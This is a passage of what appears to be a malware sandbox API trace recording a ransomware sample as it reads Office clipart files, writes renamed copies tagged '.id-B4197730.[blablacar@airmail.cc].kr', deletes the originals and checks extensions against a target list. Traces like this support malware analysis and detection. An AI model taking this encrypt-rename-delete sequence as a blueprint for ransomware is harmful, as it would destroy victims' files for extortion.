dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.235] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=33958) returned 1 [0215.235] CloseHandle (hObject=0x518) returned 1 [0215.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220 [0215.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.236] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.236] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0215.237] GetLastError () returned 0x0 [0215.237] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x84a6, lpOverlapped=0x0) returned 1 [0215.239] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x84b0, lpOverlapped=0x0) returned 1 [0215.244] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.244] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0215.244] SetEndOfFile (hFile=0x550) returned 1 [0215.244] CloseHandle (hObject=0x550) returned 1 [0215.244] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.244] SetEndOfFile (hFile=0x518) returned 1 [0215.247] CloseHandle (hObject=0x518) returned 1 [0215.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0215.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.249] lstrlenW (lpString=".doc") returned 4 [0215.249] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.249] lstrlenW (lpString=".docx") returned 5 [0215.249] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0215.249] lstrlenW (lpString=".pdf") returned 4 [0215.249] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.249] lstrlenW (lpString=".xls") returned 4 [0215.249] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.249] lstrlenW (lpString=".xlsx") returned 5 [0215.249] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0215.249] lstrlenW (lpString=".ppt") returned 4 [0215.249] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.249] lstrlenW (lpString=".zip") returned 4 [0215.249] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.249] lstrlenW (lpString=".rar") returned 4 [0215.249] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.249] lstrlenW (lpString=".bz2") returned 4 [0215.249] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.249] lstrlenW (lpString=".7z") returned 3 [0215.249] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.249] lstrlenW (lpString=".dbf") returned 4 [0215.249] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.249] lstrlenW (lpString=".1cd") returned 4 [0215.249] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.249] lstrlenW (lpString=".jpg") returned 4 [0215.249] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.250] lstrlenW (lpString=".doc") returned 4 [0215.250] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.250] lstrlenW (lpString=".docx") returned 5 [0215.250] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0215.250] lstrlenW (lpString=".pdf") returned 4 [0215.250] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.250] lstrlenW (lpString=".xls") returned 4 [0215.250] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.250] lstrlenW (lpString=".xlsx") returned 5 [0215.250] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0215.250] lstrlenW (lpString=".ppt") returned 4 [0215.250] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.250] lstrlenW (lpString=".zip") returned 4 [0215.250] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.250] lstrlenW (lpString=".rar") returned 4 [0215.250] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.250] lstrlenW (lpString=".bz2") returned 4 [0215.250] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.250] lstrlenW (lpString=".7z") returned 3 [0215.250] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.250] lstrlenW (lpString=".dbf") returned 4 [0215.250] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.250] lstrlenW (lpString=".1cd") returned 4 [0215.250] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0215.250] lstrlenW (lpString=".jpg") returned 4 [0215.251] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.251] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.251] lstrlenW (lpString="J0145904.JPG") returned 12 [0215.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.251] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=39542) returned 1 [0215.251] CloseHandle (hObject=0x518) returned 1 [0215.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220 [0215.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0215.252] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.252] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0215.253] GetLastError () returned 0x0 [0215.253] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x9a76, lpOverlapped=0x0) returned 1 [0215.680] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x9a80, lpOverlapped=0x0) returned 1 [0215.681] ReadFile (in: hFile=0x518, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0215.681] WriteFile (in: hFile=0x550, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0215.681] SetEndOfFile (hFile=0x550) returned 1 [0215.682] CloseHandle (hObject=0x550) returned 1 [0215.682] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0215.682] SetEndOfFile (hFile=0x518) returned 1 [0215.921] CloseHandle (hObject=0x518) returned 1 [0215.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1 [0216.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.426] lstrlenW (lpString=".doc") returned 4 [0216.426] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0216.426] lstrlenW (lpString=".docx") returned 5 [0216.426] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0216.426] lstrlenW (lpString=".pdf") returned 4 [0216.426] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0216.426] lstrlenW (lpString=".xls") returned 4 [0216.426] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0216.426] lstrlenW (lpString=".xlsx") returned 5 [0216.426] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0216.426] lstrlenW (lpString=".ppt") returned 4 [0216.426] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0216.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.426] lstrlenW (lpString=".zip") returned 4 [0216.426] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0216.426] lstrlenW (lpString=".rar") returned 4 [0216.426] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0216.426] lstrlenW (lpString=".bz2") returned 4 [0216.426] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0216.426] lstrlenW (lpString=".7z") returned 3 [0216.426] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0216.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.426] lstrlenW (lpString=".dbf") returned 4 [0216.426] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0216.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.426] lstrlenW (lpString=".1cd") returned 4 [0216.426] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0216.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.427] lstrlenW (lpString=".jpg") returned 4 [0216.427] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0216.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.427] lstrlenW (lpString=".doc") returned 4 [0216.427] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0216.427] lstrlenW (lpString=".docx") returned 5 [0216.427] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0216.427] lstrlenW (lpString=".pdf") returned 4 [0216.427] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0216.427] lstrlenW (lpString=".xls") returned 4 [0216.427] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0216.427] lstrlenW (lpString=".xlsx") returned 5 [0216.427] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0216.427] lstrlenW (lpString=".ppt") returned 4 [0216.427] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0216.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.427] lstrlenW (lpString=".zip") returned 4 [0216.427] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0216.427] lstrlenW (lpString=".rar") returned 4 [0216.427] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0216.427] lstrlenW (lpString=".bz2") returned 4 [0216.427] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0216.427] lstrlenW (lpString=".7z") returned 3 [0216.427] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0216.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.427] lstrlenW (lpString=".dbf") returned 4 [0216.427] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0216.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.427] lstrlenW (lpString=".1cd") returned 4 [0216.427] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0216.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68 [0216.427] lstrlenW (lpString=".jpg") returned 4 [0216.428] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0216.428] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.428] lstrlenW (lpString="J0151063.WMF") returned 12 [0216.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.428] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=10632) returned 1 [0216.429] CloseHandle (hObject=0x36c) returned 1 [0216.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220 [0216.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.429] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.429] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0216.430] GetLastError () returned 0x0 [0216.430] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x2988, lpOverlapped=0x0) returned 1 [0216.432] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x2990, lpOverlapped=0x0) returned 1 [0216.433] ReadFile (in: hFile=0x36c, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0216.433] WriteFile (in: hFile=0x4d8, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0216.433] SetEndOfFile (hFile=0x4d8) returned 1 [0216.433] CloseHandle (hObject=0x4d8) returned 1 [0216.433] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0216.433] SetEndOfFile (hFile=0x36c) returned 1 [0216.435] CloseHandle (hObject=0x36c) returned 1 [0216.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0216.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.437] lstrlenW (lpString=".doc") returned 4 [0216.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.437] lstrlenW (lpString=".docx") returned 5 [0216.437] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0216.437] lstrlenW (lpString=".pdf") returned 4 [0216.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.437] lstrlenW (lpString=".xls") returned 4 [0216.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.437] lstrlenW (lpString=".xlsx") returned 5 [0216.437] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0216.437] lstrlenW (lpString=".ppt") returned 4 [0216.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.437] lstrlenW (lpString=".zip") returned 4 [0216.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.437] lstrlenW (lpString=".rar") returned 4 [0216.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.437] lstrlenW (lpString=".bz2") returned 4 [0216.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.437] lstrlenW (lpString=".7z") returned 3 [0216.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.437] lstrlenW (lpString=".dbf") returned 4 [0216.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.437] lstrlenW (lpString=".1cd") returned 4 [0216.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.437] lstrlenW (lpString=".jpg") returned 4 [0216.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.438] lstrlenW (lpString=".doc") returned 4 [0216.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.438] lstrlenW (lpString=".docx") returned 5 [0216.438] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0216.438] lstrlenW (lpString=".pdf") returned 4 [0216.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.438] lstrlenW (lpString=".xls") returned 4 [0216.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.438] lstrlenW (lpString=".xlsx") returned 5 [0216.438] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0216.438] lstrlenW (lpString=".ppt") returned 4 [0216.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.438] lstrlenW (lpString=".zip") returned 4 [0216.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.438] lstrlenW (lpString=".rar") returned 4 [0216.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.438] lstrlenW (lpString=".bz2") returned 4 [0216.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.438] lstrlenW (lpString=".7z") returned 3 [0216.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.438] lstrlenW (lpString=".dbf") returned 4 [0216.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.438] lstrlenW (lpString=".1cd") returned 4 [0216.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0216.438] lstrlenW (lpString=".jpg") returned 4 [0216.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.439] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0216.439] lstrlenW (lpString="J0151067.WMF") returned 12 [0216.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0216.439] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=13204) returned 1 [0216.439] CloseHandle (hObject=0x36c) returned 1 [0216.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220 [0216.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 